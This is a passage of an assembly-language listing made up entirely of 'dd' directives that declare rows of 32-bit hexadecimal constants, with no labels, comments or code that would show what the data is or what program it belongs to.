		dd 0DB9A1352h, 4A22F8B5h, 0BF8C0061h, 0BB6DA6Fh, 0D64CEDE9h
		dd 0C27F510Ch, 0BEFFEE7Dh, 0CA640861h, 3DBF709h, 4F51CEh
		dd 0B226EB41h, 8A53FACFh, 0DF8BD91Fh, 0FF595FC9h, 0A9567E4Ah
		dd 9BA5258h, 2F603AF7h,	0B913F00h, 0FA9F78DAh, 40FFB013h
		dd 200CBADDh, 28549607h, 998EE2Fh, 868C0F6Eh, 9A700A29h
		dd 0A2E9420Bh, 5B587E6Ah, 24F96E5Ah, 0CC1FA05Eh, 3500D194h
		dd 43BD296Fh, 840F0D48h, 0F1329546h, 185EE8FDh,	1FBA44FEh
		dd 0BCA99920h, 4D193C75h, 2BC56F45h, 0CD7D2Ch, 32E15B06h
		dd 1B84890Fh, 5EC00CA0h, 1C444B24h, 1C732A00h, 32EA8908h
		dd 15C8351h, 0E017407Dh, 50B6130Dh, 0CA9CAE21h,	3F6EA801h
		dd 0C7E2708h, 7F304782h, 0D058B903h, 27C160CAh,	0A60903E1h
		dd 130DA987h, 0D0B7427Dh, 8323D46Dh, 7F5650B7h,	16CD5F57h
		dd 4604AF6Dh, 0CCAA89B3h, 1E46BC8Ch, 0AD00C11h,	0DAC165E9h
		dd 9590C381h, 893E01C5h, 7311309Ch, 58D6AA83h, 507BB561h
		dd 16DE3189h, 1E9171Ah,	0CA4AAC8Fh, 3D05F949h, 0CFCD895Fh
		dd 0C555E2D8h, 0EACE0C4h, 0EFCFADF0h, 9238FB13h, 2F3C4568h
		dd 287FD4C0h, 925250DCh, 9A330678h, 1CF9011Dh, 0F7E90883h
		dd 0B55C82A3h, 0B2EA8809h, 0F88660CDh, 30B149E9h, 0D8685C0Dh
		dd 0EFA97B67h, 70BAC296h, 7CBD94D0h, 0F05F72D7h, 0BF68120Eh
		dd 9A4E360h, 555843E9h,	1CBD9B9Eh, 25E9F81Eh, 0CEC7AAC7h
		dd 6588DE27h, 20849D5Ah, 55135BA8h, 4006EEDh, 8103EBC1h
		dd 50E10CF3h, 1B0C466Ah, 0D90B4A28h, 908DB720h,	4FBF78AFh
		dd 9858042h, 11F01C4Fh,	6844934Eh, 0AD44C74Ah, 0D6F6022Ah
		dd 509FC0C0h, 87B12751h, 0E906EADBh, 0C71FAFh, 7F2E70EBh
		dd 3A684340h, 8002764Dh, 27F51025h, 0C1D800F7h,	0A20D02E8h
		dd 7200AC19h, 445BBD55h, 0FC01C260h, 0E1FE5AE9h, 457411Ch
		dd 562D003Bh, 0F1B53DC7h, 45D44B16h, 0AB0D3F50h, 0B63B4F99h
		dd 0AC32675h, 4C92865Ah, 4762C439h, 0CB290203h,	8659DF59h
		dd 0FFE78942h, 3089ADDBh, 0E5D268B8h, 2E548117h, 187CA2F1h
		dd 0FE5538Fh, 0F2E2EBCAh, 7580593Eh, 0F0CF8139h, 6AF90923h
		dd 4A7E6DB4h, 60503146h, 151B2DCDh, 486276Dh, 3AC04580h
		dd 1810C4AAh, 0FAF2CE07h, 0A0E38180h, 0B07D6FC4h, 9A7144Ch
		dd 0D91C925Fh, 64CFD25Bh, 53A2FF99h, 666105C3h,	5F2DE602h
		dd 80740E46h, 0A7BE56D1h, 0B03E9804h, 86720595h, 24EAD83h
		dd 0EB7FE6BFh, 18D9068h, 29313316h, 0EA1FFB04h,	7FF16802h
		dd 6D4298D7h, 0E4CE0580h, 566C6FEh, 0F9C707D1h,	4F5F10D4h
		dd 0D622A640h, 494AC0Dh, 1A7A565Eh, 0E9B3D0EFh,	0AB2E0EC0h
		dd 19248A67h, 3AB00820h, 90865740h, 0D3F63516h,	0FE35980Bh
		dd 7096C348h, 10E98AC4h, 334908A0h, 0D106D9F7h,	785AE42Dh
		dd 0B1315CD1h, 4AFD2D10h, 21B74AFh, 7E0AE984h, 46292369h
		dd 0C84808BFh, 254320B4h, 5C468968h, 0E90830B7h, 47D34E50h
		dd 0E9870241h, 0FE139E75h, 0B99BA08Eh, 47680BAAh, 2853893Ch
		dd 0D47D6428h, 41535E1Ch, 413D8664h, 0E4CB88E0h, 69FE99DAh
		dd 126AE6D7h, 0A9ED6AE9h, 8850C243h, 0A6C476DCh, 62BE2964h
		dd 4CFF585Bh, 0F0302E93h, 0E1F03DB1h, 10AF8B2Bh, 81680D0h
		dd 0C05363E2h, 0EAF007C3h, 0A0276847h, 9CC5597Ah, 58C58BD0h
		dd 6E25B791h, 37009F12h, 116B3D1Dh, 0BCFC9D89h,	0C665B08Ah
		dd 0F661F48Bh, 811A6E0Fh, 0F7258AF1h, 0A554AD31h, 1E18C00Ch
		dd 0E4B680ADh, 3D11805Ch, 0C77C9250h, 24AB99B4h, 0A49D473h
		dd 80D78D2Bh, 5AEC2AE0h, 312411BFh, 802D11B0h, 799CE75Ah
		dd 0C12A3BE1h, 0C700F64Ch, 7E721C9Bh, 49554468h, 40C06F56h
		dd 0CC6A82h, 0B7D7BA42h, 0C22960B9h, 0AA5F29B8h, 68CC70BAh
		dd 0D8B94C63h, 4137F4C9h, 6F271768h, 5E8003DCh,	0BE703055h
		dd 0FA0177C4h, 3EC3BD0Ah, 0C13A0B7Eh, 2723D4Bh,	3F917D42h
		dd 4D8EC76h, 36156816h,	8791CD67h, 842B8EF5h, 0A797EF22h
		dd 97971466h, 970A6E78h, 0C933122Ch, 1B9202C9h,	0DCFB55FCh
		dd 6BD7953Dh, 2DCF0EC0h, 1BEF640h, 133B799Fh, 4CDFDE62h
		dd 2BD102D0h, 0FD3157B5h, 0F265C071h, 0AE05A2D0h, 0EA7C2DDBh
		dd 19FC5309h, 0FB27D02Ch, 2493BDD9h, 83D1B81Dh,	8CFF92B6h
		dd 4048143Dh, 0A722298Ah, 0E5038164h, 2742157Eh, 370FB3D1h
		dd 0E0DDA99Eh, 766D309Ch, 0AF3183F8h, 0B3F5199Bh, 2470EFE4h
		dd 8E67D1E9h, 0D7DC8B5Eh, 0B937E866h, 0E9157479h, 8103E78Ah
		dd 15939CDh, 0D948B29Fh, 8F8518DDh, 1F0F2F72h, 38A5935Dh
		dd 0E35E6226h, 4BAF5B4Ah, 0A8E68FBDh, 4BA1BB01h, 816877AEh
		dd 607F7CE6h, 5F27749Ch, 8408990h, 9517FC8Ch, 109AD5Eh
		dd 1F7FFCD8h, 0AF225325h, 33FB7613h, 13AC6EE5h,	40F6350Bh
		dd 0CDEF727h, 0F5178E0Fh, 3003C6E1h, 0E93C90C0h, 2218AC91h
		dd 40BAFA5Fh, 0EA2F7A20h, 5AF45D05h, 1FBF5700h,	2978AB58h
		dd 8247C12h, 6E90FB0h, 1577567h, 0F195166Ch, 164206AEh
		dd 0B6208E28h, 0C03AED4Dh, 0FD889943h, 610CF9BFh, 0CCCCE580h
		dd 23943EF5h, 0A089B751h, 99D7136Eh, 84FBDA76h,	0BC7CF8AFh
		dd 0ED5E65E9h, 27C4EA58h, 0E52F0EBEh, 9559EAE4h, 0B62B0971h
		dd 3B7759h, 0BFEE8046h,	77F6CEFEh, 0E04AE6D6h, 0B1E918F3h
		dd 0FFC19534h, 17764960h, 95219E51h, 638892D8h,	730BA9BBh
		dd 7901F49Ah, 29FD69F6h, 3E2B5547h, 0AF6EA772h,	8C0F275Ch
		dd 8ADD764h, 0B7391536h, 27B0FE30h, 0A9EDEF8Ah,	0E1349EE5h
		dd 837B648h, 0BF017BB0h, 7CC9717Dh, 9FD355E8h, 0DF8008EEh
		dd 6DC8FD17h, 34AACC4h,	58DF7D45h, 83580BDAh, 0A545332h
		dd 46257DCEh, 1D3D82B2h, 30DD2992h, 96A7EF1h, 0FFE979C3h
		dd 5D4A5AD8h, 5C1F98ABh, 68C3300Bh, 2558D26Bh, 0CF3ABA1h
		dd 0A5D8298Fh, 0C3EDAA56h, 0E01FCA07h, 0DC0ADB4Ch, 16A7167Dh
		dd 11E1A451h, 38204241h, 0F18E446Ah, 0BEEBB504h, 6AC14928h
		dd 612F5BF7h, 24E4A46Ch, 2295D9AEh, 5D4619AAh, 307F96B2h
		dd 0A6850D0h, 3E09287Dh, 0AFA0089Ah, 0E3095B1Fh, 881F7102h
		dd 3500AC75h, 72593AC1h, 5E800D1h, 62293BBFh, 494BC368h
		dd 1905F5F3h, 0B360EA57h, 0D42D033Ah, 0AB6BC605h, 5E3BF0BDh
		dd 944D28E9h, 24B67A9Dh, 0BA66DEF6h, 51096D48h,	8768F530h
		dd 4A54B3E9h, 0A01CE18Ah
		dd 0E3671939h, 6120653h, 0E62D2150h, 2B67FE09h,	0F9110438h
		dd 1ACD61EBh, 5BE90C36h, 0BE3AC271h, 0BAFD4B8Bh, 0C41856F4h
		dd 4F23E8CEh, 658F1BCh,	2718A003h, 12482953h, 4AB649C0h
		dd 0E8F321BAh, 0E3899888h, 886F5176h, 4324EFB0h, 0E8240802h
		dd 722A624Ah, 800CF6F6h, 6C17548Eh, 2F2D0008h, 40DE0D74h
		dd 0E927537Fh, 0F3E042B5h, 0F3253EC2h, 0D6F7AC60h, 958746B7h
		dd 0D104C894h, 0B46E9EEh, 72E3D8FAh, 0AF2B2045h, 0D45D6306h
		dd 0F2584F12h, 787D195Dh, 4A215615h, 2500A57Ch,	2BB56192h
		dd 0C730850Fh, 0D9E175Ch, 66094817h, 0E0A310h, 0C1895A2Ch
		dd 9FABE35h, 0C3017CC0h, 3F81B177h, 0ED03E422h,	6D2D181Bh
		dd 38F010DAh, 0DF14332Dh, 542E0B31h, 0EE8925BAh, 8D5E71CAh
		dd 0B54F680Ah, 0DE0917F4h, 0B652414Bh, 0FEF520C5h, 0E9024D48h
		dd 9DBD1D32h, 38CA5DC6h, 50267AE9h, 1685399h, 1DAD1F4Bh
		dd 42990B1h, 0F456CCEFh, 0ECA79DBCh, 95CE7302h,	0E933B877h
		dd 22C9EDCh, 0E39D860Fh, 0BA1A1E8h, 55045A70h, 5B24C68Ah
		dd 4F73FBF8h, 8499C8D9h, 50C8DC6Bh, 0CB16997h, 84BF37F4h
		dd 0F7C7A92h, 803FBB5h,	0A20E055Bh, 0A074BF62h,	8A3E923h
		dd 45930C02h, 405F3E43h, 0B1326C58h, 64AC98h, 277B3A19h
		dd 0E2B0C629h, 0E50BC776h, 0A0DDF762h, 680D0481h, 82307BE9h
		dd 74560D7h, 1F60247Dh,	132B2D8Dh, 0CF74C0F7h, 46201810h
		dd 0C12C5269h, 14B06F4h, 0BF5F25A4h, 0D87175DCh, 0BB028478h
		dd 25210DDAh, 8CB97B5Ch, 0B650366Eh, 0F8C007C3h, 2001DDF0h
		dd 58BE565Bh, 2B522513h, 4E5131Bh, 0AA43F034h, 0B650AB66h
		dd 1E5D3008h, 4F2C73E4h, 5CAB523h, 0DD718008h, 5002636Fh
		dd 0C0E9FB29h, 0D5C9A2DBh, 267FD15Ah, 1355AF8Ch, 5E8EAB5Fh
		dd 96B6F2DBh, 0D3CB6253h, 4DB1E93Ah, 3E86900Bh,	80C4C3A9h
		dd 0FA4A82EBh, 0C7DF6A4Ah, 2924AF92h, 4A2BAC07h, 7C1029FAh
		dd 7E82F445h, 685D00F8h, 93C4210Ch, 0B410C02Fh,	4F4E100Ch
		dd 9C543816h, 5B7168E0h, 9929913Dh, 3E374318h, 3680EF35h
		dd 70536EA5h, 91025DBAh, 95E98FACh, 0C059A516h,	7C0BC1BBh
		dd 208765BDh, 556B08D8h, 0AE414811h, 51421261h,	0C5500A29h
		dd 16462608h, 55853064h, 441F1268h, 0AC8B4CF9h,	95146EFh
		dd 2CEC107Ch, 80AD4D0h,	98B565E9h, 0EF805A82h, 0C93602Ah
		dd 0E7C98322h, 0CE87E43Fh, 0C7137863h, 0F7D4CFD7h, 0C181D794h
		dd 0C9685B2h, 46F30155h, 201DA701h, 18D698BCh, 0C14329ABh
		dd 7AE22AABh, 2731048Bh, 4E292898h, 817E74ABh, 6D40BC17h
		dd 0C7933472h, 8C3E00EBh, 41053DBEh, 495F5A16h,	0F7CFC1FEh
		dd 7E6635B9h, 9A49341Eh, 7A91D43Ah, 4BB65955h, 2C4F667Dh
		dd 0AF433703h, 0F3C945Fh, 0EB1823EDh, 10C501A5h, 0CE5A08DAh
		dd 23DD10BFh, 0C849E909h, 4699917Ah, 0A10A6E0Ch, 0A9142652h
		dd 2DC80AEDh, 0AA12F07h, 6FD8D9E9h, 7A726C97h, 9B18DD15h
		dd 645AC868h, 9DB5C7E8h, 9BEE42D7h, 5F25BA5Eh, 0E9840AC7h
		dd 76A490B4h, 0E33D1896h, 44940C57h, 57544725h,	34087208h
		dd 3145F0Ch, 16375269h,	5C650C06h, 0B4013C7h, 3BE121CAh
		dd 0BE230B04h, 44317329h, 10FFCE2Bh, 64504B07h,	2320605Dh
		dd 25CAA5F5h, 5F55681Fh, 8A5E341Fh, 27C4CAFEh, 0A5D439BEh
		dd 0EB9CD7F2h, 8AE27CA3h, 27CBC6F5h, 91489710h,	480BB714h
		dd 0BCD01D4h, 9C78029Fh, 0EA3275BAh, 9CE33162h,	0C238AED5h
		dd 4B8D0C68h, 0E9A13595h, 0BAF65526h, 5DA6CB8Bh, 30091147h
		dd 0C8C5F7FAh, 5DE83183h, 885C4FE9h, 4613C2F6h,	0B704704Ch
		dd 2D0B5316h, 56720D7h,	4E5D5A0Fh, 4099AC5Bh, 8349E907h
		dd 0DA583C01h, 0CEFF9A17h, 692950ABh, 9D829F96h, 756A191Ah
		dd 3008D3A8h, 8440180Ch, 0E5246F7Dh, 0FD6960ACh, 0E64F7701h
		dd 0B01EF84Ah, 0A1DAC895h, 4DBB131Bh, 85CAE89h,	0AD06649h
		dd 7104BF2Dh, 0B1BA5532h, 8208055Eh, 92DF9C31h,	0B1C87F53h
		dd 68806DDBh, 0C64A5318h, 3034B500h, 0C68059EEh, 3BCEA65Ch
		dd 0B879791Eh, 50A9CE00h, 0B44AB753h, 1FFCE0D6h, 0B9C4FE5Bh
		dd 38060133h, 8BDECB0h,	0C6E9E60Dh, 0AC6F5E3Dh,	0C22E8836h
		dd 7C0B8305h, 30CCA0F9h, 0DB0C631Eh, 7A4AB514h,	0E6E562FEh
		dd 0AA8E5D09h, 0C03E566h, 78100294h, 0FD079448h, 0B3144935h
		dd 320E89DFh, 0FB2F580h, 2CF844E8h, 0ED1432EFh,	0E4D1F4CAh
		dd 0B8A7B42h, 23E6710Bh, 0C097C39Dh, 9871760Fh,	0A232F2C1h
		dd 0D2787D08h, 273116BFh, 0C446D332h, 480D4E07h, 1BC0355Dh
		dd 170F3EDAh, 0A4671C8Ch, 9D5F2FC5h, 542DF6E6h,	2AF97CA0h
		dd 0F89F055Ch, 16B0A7FAh, 878CFBDAh, 0FC6F4B49h, 0A3FEB4A0h
		dd 0D184101Dh, 0D0C7658h, 0FA32208Ah, 0C46029FAh, 304AB21Ah
		dd 5DFEF2CAh, 68020AEBh, 665D2941h, 1620007Dh, 0BF67B165h
		dd 27FDDF02h, 0C0CC8001h, 955B3DE0h, 5E634623h,	7AC31D1Eh
		dd 0C1DDB24Eh, 0CAFE33C2h, 274693EFh, 848D9010h, 0CE656128h
		dd 0E9A8A2E3h, 459FE0EEh, 47270832h, 81BC5813h,	3B775B1h
		dd 9B60EA68h, 2A9FC093h, 58100454h, 0D0A47EE9h,	0EF9884BAh
		dd 99689897h, 0FF94851Eh, 60B40FBEh, 0E9502189h, 288FDFB8h
		dd 1A25C86h, 680D3F6h, 0FC885B66h, 0D9A9E91Ah, 0EA535D5Eh
		dd 10B8532Dh, 26064EF3h, 27EBEED1h, 5B10815Fh, 2800CCBEh
		dd 0A8BF69AEh, 0A0BDFBF2h, 0B0132EF1h, 0F2E8BF43h, 0A724027Bh
		dd 8B387B19h, 0C0FB5D41h, 0A0F701E3h, 74212FFh,	0E95E037Dh
		dd 0AC642C2Dh, 66505303h, 0B1DDB551h, 1608852h,	88974B3Ch
		dd 0F990C83Dh, 10266E58h, 2C6F9EDBh, 4224ECAFh,	8FDDEFEDh
		dd 8105C5F5h, 0C808378Ah, 0F90B2D74h, 8158B1D5h, 0EB87E919h
		dd 2182E63Ah, 0D31A2811h, 834FB66h, 87BA24C3h, 61467D0Bh
		dd 5AB12649h, 0B13BA5A1h, 1DB4009Bh, 0B7C763Fh,	79FE5A90h
		dd 0B4A67EE1h, 3B6B6809h, 0BADFB21Ah, 20CE7FD6h, 46345F97h
		dd 9DBE875Dh, 55515300h, 125EAA68h, 0AAE90A31h,	895DFA80h
		dd 6BA49EF2h, 68DB6303h, 53AF1F4Fh, 0CD7701DCh,	2E678ED3h
		dd 4C059480h, 0A0724F6Dh, 1B38D691h, 0F302CF22h, 43410B19h
		dd 1C501208h, 7B8DFF8Ah, 0D074842Bh, 0B23AE975h, 0E22D9992h
		dd 5C7A9A3Bh, 0ECA5BE88h, 0E9165BE6h, 0A25ED6BDh, 0F80E501Ch
		dd 9C1A9F04h, 7DAB2B43h, 0E91844B6h, 0BD44D390h, 127B39E2h
		dd 0C5734F7Ah, 72F2BB69h, 78BD68C3h, 95E3EF84h,	0EA9F93DDh
		dd 9499921h, 0CFCDA33Eh, 0B6BE528Bh, 0DC13869Ch, 25439510h
		dd 0B450F380h, 0CCFE940Fh, 8E01D6F6h, 0C92EE91Bh, 7EB7D189h
		dd 0BD24ED66h, 7EA8909Fh, 2807A402h, 60E8D142h,	0E1A2458Fh
		dd 0F190AC7Bh, 0F00D10Bh, 0E84E1587h, 0EAF86ED5h, 0F8897560h
		dd 253EF281h, 0F10826Dh, 8B0ED182h, 31E25016h, 6CA332E3h
		dd 0A8AF0420h, 5100960Bh, 10CF5A85h, 0C0EA7281h, 46A92D0Dh
		dd 0E2BD34C5h, 0DF070905h, 0E93089C4h, 6852F5A2h, 286C0394h
		dd 0D7015A29h, 0EF810714h, 187C4C0Ch, 0B930BBC1h, 0F5113E0Fh
		dd 0D92FDEDCh, 681C38D7h, 0E9CAA8CDh, 25399471h, 0D0D0987Dh
		dd 89D2837Eh, 2D25B1C3h, 0EB4349F1h, 4EBB57FCh,	10BB17h
		dd 91DC4E08h, 1329AB2h,	9B16D1BFh, 0F1F9213Eh, 3BC97D11h
		dd 0D2E3A7D8h, 68C83B01h, 0C0960924h, 4B257F48h, 0C8B70BFh
		dd 0B963968h, 7E2D3C86h, 2776743Ah, 0ADF17920h,	5E4E24F6h
		dd 0E9B94EAEh, 0DC23A80Bh
		dd 84C4B8B1h, 0E540BF6Ch, 35753909h, 0ACE75AC1h, 44B001C5h
		dd 0DFF71C42h, 769E017Fh, 9F02AA0Eh, 0DCC95F0Ch, 0E986A12Fh
		dd 8A798CF6h, 0A416022Ch, 38BB07EFh, 0FEAEA4C6h, 7BC4612h
		dd 0A981F3B7h, 2F641E48h, 90516602h, 11873853h,	9771BA4Ah
		dd 19814BCEh, 6C15BC6h,	0FA436F46h, 0DD0B8BC3h,	315D9701h
		dd 0D9EDFAB7h, 0BE04F5E7h, 5A0F2510h, 5605572Fh, 0FBBF4B48h
		dd 0C2499977h, 2C07783Ch, 0E3E51AD1h, 3B17CFC0h, 98FF3C87h
		dd 0B440A914h, 0C18CA021h, 0F698A0E6h, 10041214h, 0B48BEECCh
		dd 409B6E10h, 202C9E8h,	5668201Ah, 67085669h, 3AE4D01Ch
		dd 0A25B77E9h, 62C1346h, 2CE17D27h, 0A7EAA435h,	39012EF4h
		dd 430BA147h, 809D1930h, 87127835h, 0F6084FECh,	3F82565h
		dd 0AC5DFB07h, 2BD4D689h, 4E33F6E8h, 3DE8DDC0h,	0F24E0148h
		dd 0C2D7AD49h, 83FBDFCCh, 5AE202BBh, 6032773Ah,	0C03EB71Bh
		dd 65F2C219h, 0F7041AABh, 24068D2h, 99C1CBB8h, 7A5F6921h
		dd 528649ADh, 70120F81h, 10BF6A1Bh, 5A25075Eh, 4A9C6655h
		dd 6814007Fh, 263E0B53h, 0D09E3FF4h, 39DF5425h,	623A3225h
		dd 749F4D58h, 9DC2720Ch, 45952F58h, 3754AF96h, 0FFB36E62h
		dd 8898AC10h, 17021BA1h, 0D7A8AAB4h, 0E2C05B09h, 0ED66E6F0h
		dd 0FF6A6F06h, 0E84A8863h, 0C94DC6ECh, 95B30938h, 0CD7D908h
		dd 950512D0h, 0E52FFC56h, 0E9C28383h, 0AA856A70h, 899FAEB2h
		dd 0C55EE7C8h, 72F77469h, 2F6AD756h, 0FE5AFA00h, 1CB8107h
		dd 7C314295h, 538A6BE9h, 5CA5E1Ch, 9077FFEh, 9891C57h
		dd 8D0CC98Dh, 26ABCE8h,	0DB681EBBh, 0D975315Ch,	6FD8A713h
		dd 145848BFh, 2C199D8h,	8BAB19EEh, 0A1572DC2h, 7727E941h
		dd 0E4C02289h, 0DC12D8F4h, 242942A1h, 8811E176h, 56F02BC6h
		dd 702F0B98h, 0C3744D30h, 4B81203Eh, 0EB739468h, 0D44AE6E3h
		dd 6CB8AF79h, 6446C1A4h, 8674B0AFh, 70EC8003h, 27E37D42h
		dd 13F4F31Fh, 501DDEBh,	7866EE43h, 967D1636h, 0D259E170h
		dd 204FB214h, 0A1A37B81h, 0D55A772Fh, 690386A9h, 0F51C9F71h
		dd 0C7C901EFh, 0CFD48798h, 66737709h, 0C819FF2Dh, 992A2E51h
		dd 0E2725C2Ch, 1C5F95F8h, 0AC45B7D0h, 0FD2CA282h, 909DE6Bh
		dd 0AD1030E9h, 45195FCAh, 0BBAC6EC2h, 20B15603h, 9F652FD5h
		dd 5FC0A4D4h, 38535ECh,	0E951475Fh, 0AE840991h,	0E9E056BCh
		dd 0F9B49A42h, 4F436861h, 0C438F22Bh, 12AF1DE9h, 6364EA27h
		dd 7158AFA3h, 9B0B8000h, 0E9D72912h, 3EFD1C55h,	4F00B513h
		dd 6B161331h, 96DE5001h, 0F555CB8Fh, 8039B5FEh,	1795178h
		dd 5A3EE9EAh, 5CD9D70h,	84F704CAh, 45AB17E8h, 21903DBBh
		dd 742E0808h, 0D4B4D02Ah, 0B5A5E970h, 3EBA7080h, 61B8A441h
		dd 0A89CD550h, 0F76B39BEh, 29F545CAh, 0C06555BAh, 7B104BA4h
		dd 7A25404Ch, 49ADDA59h, 352C58C7h, 0B7DFEC5Bh,	7E3F8C36h
		dd 0E27BE12Ah, 0A0C84B9h, 6A163880h, 0E96D0C8Ch, 4E2B8D03h
		dd 9B671B26h, 2293E709h, 75E6E379h, 8A54604Ch, 5C98ADCAh
		dd 0F64FCA0Bh, 0D9A7A035h, 9770C848h, 0E0DB1884h, 82EC54D8h
		dd 0B9400860h, 12A4197Fh, 0BACE0165h, 625E6C2Ch, 82910BB5h
		dd 651257E4h, 30FA0743h, 7CECE93Bh, 73C221C0h, 7716AF48h
		dd 8AEA4A5Eh, 6EE75185h, 962DB2Dh, 650A6C02h, 13DD9735h
		dd 0EC81B5F7h, 9C6B022Bh, 0F1408984h, 40014050h, 0D9BE0B5h
		dd 725A005Bh, 97AA3548h, 995FBE7h, 93D001E2h, 0D8D6BF16h
		dd 5E05134Ah, 68F880F7h, 1ABF02D2h, 8C5C8177h, 0DA205E6Ch
		dd 0AAE74BCCh, 0CFDB7020h, 2E1858EDh, 9A685EB2h, 88B674C0h
		dd 544F9282h, 0A08ADC44h, 0BF1CD608h, 0D70C2E5Ah, 53523AE8h
		dd 9C5F33FAh, 0FC30613Dh, 0DAAE4EB1h, 9E824BFDh, 0A746FD7Fh
		dd 0DEF856C4h, 0DBF53500h, 90AAE801h, 6EBAC441h, 9FAD49D1h
		dd 80DD2869h, 670E4BE5h, 5AB84D65h, 0EECEB60Bh,	0A5805509h
		dd 7716DA05h, 0BF1960FDh, 0FCAA6697h, 23411638h, 40C7A86Fh
		dd 905AE907h, 2DB2E6C5h, 32B76882h, 16081455h, 0BB4429E9h
		dd 203DE831h, 0E0E0D101h, 0E769F384h, 0BF0172E5h, 0E8205A44h
		dd 0EBBB043Bh, 0EB0713A6h, 137C5BD8h, 1DC62Ah, 9D716DC6h
		dd 0FA08316Ch, 9403BE9h, 35430668h, 4D320FD1h, 0E9043FB0h
		dd 3147819h, 0B9F82317h, 9EB95EFFh, 2E39EBB4h, 0C631A27Ah
		dd 4F11D497h, 0E71B2DE2h, 7811DC2Fh, 2A497387h,	7C116E99h
		dd 884F2552h, 0A3091E66h, 80748040h, 0C121B767h, 570CC162h
		dd 7A1A0756h, 2D43CFC3h, 0BA491652h, 0D3313A2Bh, 9E3901E8h
		dd 8D0A36Ah, 6618CC19h,	83BC2378h, 33F5FD82h, 0B028C77Bh
		dd 51CFB0FAh, 0FE7BB100h, 0F9F180C1h, 38C85C08h, 6C540B25h
		dd 48AEEE67h, 9BBA02F6h, 68602771h, 3D1875EAh, 7781A23h
		dd 1F13B2C2h, 3DA3310Fh, 68C3792Dh, 7DF382CCh, 35F74248h
		dd 5CF5063Fh, 0A0762FEDh, 0B58FB1AAh, 0DDF626A1h, 0DC8B0CF4h
		dd 644B5EEFh, 5759F222h, 0D0883903h, 0E9E821E8h, 522F692Dh
		dd 44ED05A5h, 0FB032639h, 60081250h, 9B5EF21Ch,	0C8109770h
		dd 0C35F8CE9h, 3E399C93h, 497DD00Dh, 0B11E340Dh, 0D9C2091Dh
		dd 1FBCA416h, 50B01665h, 0C380055Bh, 0FEB28A2h,	0DD1F12B3h
		dd 14F68DD2h, 6BBADDC4h, 73B87400h, 7618A4Ah, 0CB69AE2Dh
		dd 0A9F0F219h, 0ED51BEF4h, 2458C262h, 3364DE04h, 5240AE4Dh
		dd 38FC6ABCh, 84B44BE9h, 29A7EAA8h, 43466813h, 0E228E907h
		dd 0F8A35976h, 2C31D3C1h, 0A2ED026Bh, 5E3370C5h, 0AD124C1h
		dd 9CD76FF5h, 42D093C2h, 2D83870Eh, 23968009h, 983A1839h
		dd 56E31299h, 0CC55B141h, 330B1630h, 0C8C985E9h, 3D7EBDFDh
		dd 0B29528F1h, 0EA4FE1A7h, 2520912Ch, 81C01E08h, 0FB5F94E9h
		dd 19EFBA48h, 0DF2C0659h, 0CFB901ADh, 62A537E9h, 697006Bh
		dd 0CE81725Fh, 0BD7600BAh, 68535502h, 0F84C64C7h, 7F31177Ah
		dd 0CD884E6h, 0E34E2CE7h, 0D45115EBh, 30440712h, 97BD55FFh
		dd 0A6E61F3Ah, 7A702052h, 38CC0158h, 0D41B31BAh, 0EF2A2Bh
		dd 2520F2E5h, 74B75727h, 7C10206h, 0F08076C8h, 93D7A5AEh
		dd 0FE096A90h, 44492354h, 0E2C00360h, 0D5B35303h, 0FF4CDA82h
		dd 32E9E8E1h, 0A42A0148h, 0C36B8489h, 0B6989288h, 0E225E987h
		dd 0B96FF97h, 0C6DD99A1h, 4B5DA70Eh, 0FB67DF0Bh, 73484F0Ch
		dd 0C1E70BC7h, 65FF064h, 0B5400848h, 58833603h,	7E373116h
		dd 0BDF5BF89h, 82B91342h, 4061CDEFh, 5C4CB257h,	0C1020E41h
		dd 0B310A4Dh, 6AA25361h, 0F62AB830h, 8B0F1ADEh,	0F204892Eh
		dd 81C41E6Eh, 2390FE29h, 175EF3C1h, 45C012Dh, 0B8088BFAh
		dd 0A943A4D8h, 3F9EFFE9h, 0F3894B10h, 517419B0h, 0ADD0881Dh
		dd 6602FE5Bh, 0A014B38Ah, 9DC7C381h, 534E2FCCh,	575A52DCh
		dd 0AA61372Eh, 6016E0B8h, 55E7CB64h, 4F52EBABh,	0E2A5FA09h
		dd 6FB551A6h, 152E22Fh,	0B492826h, 0B7F22A47h, 61D3E14Bh
		dd 7CD62B97h, 0E56B2D0Eh, 210F1DD9h, 7B974D7h, 0F9503467h
		dd 29E085CBh, 8AE1FBB8h, 0D73F925Ah, 0ED41BEEh,	0F3ED80D0h
		dd 0CE830F09h, 3298F7A7h, 0CCBCD098h, 0FCBCC560h, 5AC47EFDh
		dd 0D86BE4E1h, 735C6813h, 0DD4250Dh, 2B78396Ah,	3DCA29FEh
		dd 0DF23123Bh, 0F021FCA5h, 0CB020D2Bh, 630FD610h, 11470468h
		dd 2475D4CFh, 6D03BAF2h, 511A17Bh, 0A45FC10Ch, 21C1040Ch
		dd 0EF831EEEh, 0A6814702h, 16CF3F06h, 0B0CA1D95h, 0C0890D4Ch
		dd 710346DDh, 0A3295B68h
		dd 4C10C431h, 0CEDBAB13h, 0F1D5ED5Eh, 728B8269h, 338EE30h
		dd 0F5728851h, 0A499E85Dh, 6B6F9A80h, 0D42D5CC2h, 0EE48B40Bh
		dd 99E64D07h, 0AB1E99F7h, 8AFBD954h, 0BCE9261Eh, 79AA8235h
		dd 3BF23E53h, 0AF4F7547h, 2DB5DD3Dh, 8800ABA8h,	72E68149h
		dd 795A257Fh, 2A8CFC7Ch, 4FC83D82h, 7ADAF505h, 2B0577B1h
		dd 0E897BD0Ah, 7C73BF82h, 95F8C0D7h, 0BC14D6CFh, 148A2737h
		dd 0E122B7B4h, 0CE5540EDh, 9879856h, 796A4CABh,	44361480h
		dd 0E91542CEh, 38B7B17h, 4D0677EFh, 7467D90Dh, 4BC61781h
		dd 7A298812h, 9081C50h,	0DD7EF1E9h, 8A261B65h, 0EBA1B718h
		dd 0C56518B0h, 5C5F0C28h, 0E33DA128h, 0C12AC90Ch, 0BCC3A2Dh
		dd 29E30F4Ah, 1AAC0CFEh, 2694FC4Bh, 843508CBh, 0C5E6E62Ah
		dd 0A92D737Bh, 888F5192h, 29057252h, 92BD5FF9h,	25F31010h
		dd 0B447D55Eh, 0F01FE909h, 5E28627Dh, 0B45472C3h, 28B2A053h
		dd 418EC8D8h, 2A07F27h,	7AD638A5h, 318CE8A0h, 297C0D13h
		dd 42016BFh, 0A22DBBB2h, 8EBE4A7Ah, 19832057h, 2F9BCFE9h
		dd 0A7EFDCFDh, 32AFB0B5h, 48528B5Dh, 5D53C9BFh,	0B901FFDAh
		dd 5DD7717Fh, 6321D9F7h, 0B7355F4h, 0A1CBE96Dh,	58F9B7Eh
